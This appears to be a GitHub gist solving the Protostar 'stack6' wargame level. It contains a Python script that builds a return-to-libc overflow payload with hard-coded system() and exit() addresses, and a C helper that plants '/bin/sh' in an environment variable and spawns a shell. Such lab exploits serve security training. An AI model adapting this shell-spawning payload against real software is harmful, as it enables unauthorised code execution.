Created
May 7, 2018 10:36
-
-
Save amustaque97/7f689a637b71a04bd1e4f03742cae2ec to your computer and use it in GitHub Desktop.
stack6_protostar.txt
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
============== payload file ============ | |
import struct | |
padding="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS" | |
system_addr = struct.pack('I',0xb7ecffb0) | |
exit_addr = struct.pack('I',0xb7ec60c0) | |
egg_var = struct.pack('I',0xbfffff95) | |
print padding+system_addr+exit_addr+egg_var | |
================ setup file =============== | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <unistd.h> | |
int main(int argc, char **argv) { | |
char *ptr = getenv("EGG"); | |
if (ptr != NULL) | |
printf("Estimated address: %p\n",ptr); | |
printf("Setting up environment...\n"); | |
setenv("EGG","/bin/sh",1); | |
execl("/bin/sh",(char *) NULL); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment